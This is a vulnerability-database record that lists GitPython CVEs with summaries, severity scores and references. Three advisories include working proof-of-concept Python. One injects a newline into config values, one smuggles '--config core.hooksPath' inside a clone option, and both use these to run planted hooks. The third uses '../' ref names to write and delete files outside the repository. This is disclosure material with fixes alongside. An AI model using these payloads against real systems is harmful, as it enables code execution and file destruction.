| Affected_by_vulnerabilities |
| 0 |
| url |
VCID-2wzu-49nj-8be5 |
| vulnerability_id |
VCID-2wzu-49nj-8be5 |
| summary |
GitPython is a python library used to interact with Git repositories. In order to resolve some git references, GitPython reads files from the `.git` directory, in some places the name of the file being read is provided by the user, GitPython doesn't check if this file is located outside the `.git` directory. This allows an attacker to make GitPython read any file from the system. This vulnerability is present in https://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/refs/symbolic.py#L174-L175. That code joins the base directory with a user given string without checking if the final path is located outside the base directory. This vulnerability cannot be used to read the contents of files but could in theory be used to trigger a denial of service for the program. This issue has not yet been addressed. |
| references |
| 0 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
| reference_url |
https://github.com/gitpython-developers/GitPython/pull/1672 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
4 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
|
| 1 |
| value |
4.0 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
|
| 2 |
| value |
6.9 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N |
|
| 3 |
| value |
MODERATE |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
| 4 |
| value |
Track |
| scoring_system |
ssvc |
| scoring_elements |
SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-10-01T18:04:46Z/ |
|
|
| url |
https://github.com/gitpython-developers/GitPython/pull/1672 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
| reference_url |
https://lists.debian.org/debian-lts-announce/2023/09/msg00036.html |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
4 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
|
| 1 |
| value |
4.0 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
|
| 2 |
| value |
6.9 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N |
|
| 3 |
| value |
MODERATE |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
| 4 |
| value |
Track |
| scoring_system |
ssvc |
| scoring_elements |
SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-10-01T18:04:46Z/ |
|
|
| url |
https://lists.debian.org/debian-lts-announce/2023/09/msg00036.html |
|
| 13 |
|
| 14 |
|
| 15 |
|
| 16 |
|
| 17 |
|
| 18 |
|
| 19 |
|
| 20 |
|
| 21 |
|
|
| fixed_packages |
|
| aliases |
CVE-2023-41040, GHSA-cwvm-v4w8-q58c, PYSEC-2023-165
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-2wzu-49nj-8be5 |
|
| 1 |
| url |
VCID-3mf6-vqf2-pug2 |
| vulnerability_id |
VCID-3mf6-vqf2-pug2 |
| summary |
GitPython before 3.1.32 does not block insecure non-multi options in clone and clone_from. NOTE: this issue exists because of an incomplete fix for CVE-2022-24439. |
| references |
| 0 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
| 14 |
|
| 15 |
|
| 16 |
|
| 17 |
|
| 18 |
|
| 19 |
|
| 20 |
|
| 21 |
|
| 22 |
|
| 23 |
|
|
| fixed_packages |
|
| aliases |
CVE-2023-40267, GHSA-pr76-5cm5-w9cj, PYSEC-2023-137
|
| risk_score |
4.5 |
| exploitability |
0.5 |
| weighted_severity |
9.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-3mf6-vqf2-pug2 |
|
| 2 |
| url |
VCID-7dsm-k9yr-xfdf |
| vulnerability_id |
VCID-7dsm-k9yr-xfdf |
| summary |
GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath
`GitConfigParser.set_value()` passes values to Python's `configparser` without validating for newlines. GitPython's own `_write()` converts embedded newlines into indented continuation lines (e.g. `\n` becomes `\n\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.
The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.
This was found while auditing MLRun's `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`.
PoC (standalone, no MLRun required):
```python
import git, subprocess, os
repo = git.Repo("/tmp/testrepo")
with repo.config_writer() as cw:
cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")
r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip()) # /tmp/hooks
os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)
repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read()) # uid=...
```
Tested on GitPython 3.1.46, git 2.39+.
Impact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.
Remediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through:
```python
import re
if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
raise ValueError("Git config values must not contain CR, LF, or NUL")
```
Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.
Affected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their `set_value()` call sites for externally influenced inputs. |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2026-44244, GHSA-v87r-6q3f-2j67
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-7dsm-k9yr-xfdf |
|
| 3 |
| url |
VCID-baz5-ra3v-9qeh |
| vulnerability_id |
VCID-baz5-ra3v-9qeh |
| summary |
GitPython is a python library used to interact with Git repositories. There is an incomplete fix for CVE-2023-40590. On Windows, GitPython uses an untrusted search path if it uses a shell to run `git`, as well as when it runs `bash.exe` to interpret hooks. If either of those features are used on Windows, a malicious `git.exe` or `bash.exe` may be run from an untrusted repository. This issue has been patched in version 3.1.41. |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2024-22190, GHSA-2mqj-m65w-jghx, PYSEC-2024-4
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-baz5-ra3v-9qeh |
|
| 4 |
| url |
VCID-h687-pdbs-dyg7 |
| vulnerability_id |
VCID-h687-pdbs-dyg7 |
| summary |
GitPython: Unsafe option check validates multi_options before shlex.split transformation
### Summary
`_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone.
### Details
The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):
```python
multi = shlex.split(" ".join(multi_options))
```
Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):
```python
Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)
```
Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):
```python
proc = git.clone(multi, "--", url, path, ...)
```
The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`:
```python
if option.startswith(unsafe_option) or option == bare_option:
```
`"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git.
Also affects `Submodule.update()` via `clone_multi_options`.
### PoC
```python
import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))
from git import Repo
from git.exc import UnsafeOptionError
try:
Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
print("multi_options=['--config', '...']: Block as expected")
except Exception:
pass
DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"
if not SRC.exists():
SRC.mkdir(parents=True)
r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
r("git", "init", "-b", "main")
(SRC / "f").write_text("x\n")
r("git", "add", ".")
r("git", "commit", "-m", "init")
HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)
LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()
try:
Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
pass
if not LOG.exists() and DST.exists():
subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)
print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
print(LOG.read_text().strip())
```
**Output:**
```
multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked
Hook executed: True
texugo
DESKTOP-5w5HH79
```
### Impact
Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267. |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2026-42284, GHSA-x2qx-6953-8485
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-h687-pdbs-dyg7 |
|
| 5 |
| url |
VCID-k41z-2bwv-fbc9 |
| vulnerability_id |
VCID-k41z-2bwv-fbc9 |
| summary |
GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository
## 🧾 Summary
A vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**.
---
## 📦 Affected Versions
* Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout)
---
## 🧠 Details
### Vulnerability Type
**Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion**
---
### Root Cause
Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.
`SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.
---
### Affected Code
```python
def set_reference(self, ref, logmsg=None):
...
fpath = self.abspath
assure_directory_exists(fpath, is_file=True)
lfd = LockedFD(fpath)
fd = lfd.open(write=True, stream=True)
...
```
```python
@classmethod
def delete(cls, repo, path):
full_ref_path = cls.to_full_path(path)
abs_path = os.path.join(repo.common_dir, full_ref_path)
if os.path.exists(abs_path):
os.remove(abs_path)
```
```python
def rename(self, new_path, force=False):
new_path = self.to_full_path(new_path)
new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
...
os.rename(cur_abs_path, new_abs_path)
```
---
### Attack Vector
**Local attack through application-controlled input passed into GitPython reference APIs**
### Authentication Required
**None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.**
---
## 🧪 Proof of Concept
### Setup
```bash
pip install GitPython==3.1.46
python poc.py
```
---
### Exploit
```python
import shutil
from pathlib import Path
from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference
base = Path("gp-ghsa-poc").resolve()
if base.exists():
shutil.rmtree(base)
repo_dir = base / "repo"
repo = Repo.init(repo_dir)
(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")
outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")
print(f"repo_dir = {repo_dir}")
print(f"outside_write = {outside_write}")
print(f"outside_delete = {outside_delete}")
Reference.create(repo, "../../../outside_write.txt", "HEAD")
print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
print("[+] outside_write content:")
print(outside_write.read_text(encoding="utf-8"))
SymbolicReference.delete(repo, "../../../outside_delete.txt")
print("\n[+] outside_delete exists after delete:", outside_delete.exists())
```
---
### Result
```text
repo_dir = ...\gp-ghsa-poc\repo
outside_write = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt
[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>
[+] outside_delete exists after delete: False
```
---
## 💥 Impact
### What can an attacker do?
* Create or overwrite files outside the repository metadata directory
* Delete attacker-chosen files reachable from the process permissions
* Corrupt application state or configuration files
* Cause denial of service by deleting or overwriting important files
---
### Security Impact
* **Confidentiality:** Low
* **Integrity:** High
* **Availability:** High
---
### Who is affected?
* Applications that expose GitPython reference operations to user-controlled input
* Git automation services, repository management backends, CI/CD helpers, and developer platforms
* Multi-user environments where one user can influence ref names processed on behalf of another workflow
---
## 🛠️ Mitigation / Fix
### Recommended Fix
```python
def _validate_ref_write_path(repo, path, *, for_git_dir=False):
SymbolicReference._check_ref_name_valid(path)
base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
target = (base / path).resolve()
if base not in [target, *target.parents]:
raise ValueError(f"Reference path escapes repository boundary: {path}")
return str(target)
```
```python
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)
``` |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2026-44243, GHSA-7545-fcxq-7j24
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-k41z-2bwv-fbc9 |
|
| 6 |
| url |
VCID-qdcn-btzg-pqbh |
| vulnerability_id |
VCID-qdcn-btzg-pqbh |
| summary |
All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments. |
| references |
| 0 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
| 14 |
|
| 15 |
|
| 16 |
|
| 17 |
|
| 18 |
|
| 19 |
|
| 20 |
|
| 21 |
|
| 22 |
|
| 23 |
|
| 24 |
|
| 25 |
|
| 26 |
|
| 27 |
|
| 28 |
|
| 29 |
|
| 30 |
|
|
| fixed_packages |
|
| aliases |
CVE-2022-24439, GHSA-hcpj-qp55-gfph, PYSEC-2022-42992
|
| risk_score |
4.5 |
| exploitability |
0.5 |
| weighted_severity |
9.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-qdcn-btzg-pqbh |
|
| 7 |
| url |
VCID-sgae-p557-9uhk |
| vulnerability_id |
VCID-sgae-p557-9uhk |
| summary |
GitPython is a python library used to interact with Git repositories. When resolving a program, Python/Windows look for the current working directory, and after that the PATH environment. GitPython defaults to use the `git` command, if a user runs GitPython from a repo has a `git.exe` or `git` executable, that program will be run instead of the one in the user's `PATH`. This is more of a problem on how Python interacts with Windows systems, Linux and any other OS aren't affected by this. But probably people using GitPython usually run it from the CWD of a repo. An attacker can trick a user to download a repository with a malicious `git` executable, if the user runs/imports GitPython from that directory, it allows the attacker to run any arbitrary commands. There is no fix currently available for windows users, however there are a few mitigations. 1: Default to an absolute path for the git program on Windows, like `C:\\Program Files\\Git\\cmd\\git.EXE` (default git path installation). 2: Require users to set the `GIT_PYTHON_GIT_EXECUTABLE` environment variable on Windows systems. 3: Make this problem prominent in the documentation and advise users to never run GitPython from an untrusted repo, or set the `GIT_PYTHON_GIT_EXECUTABLE` env var to an absolute path. 4: Resolve the executable manually by only looking into the `PATH` environment variable. |
| references |
| 0 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
|
| fixed_packages |
|
| aliases |
CVE-2023-40590, GHSA-wfm5-v35h-vwf4, PYSEC-2023-161
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-sgae-p557-9uhk |
|
|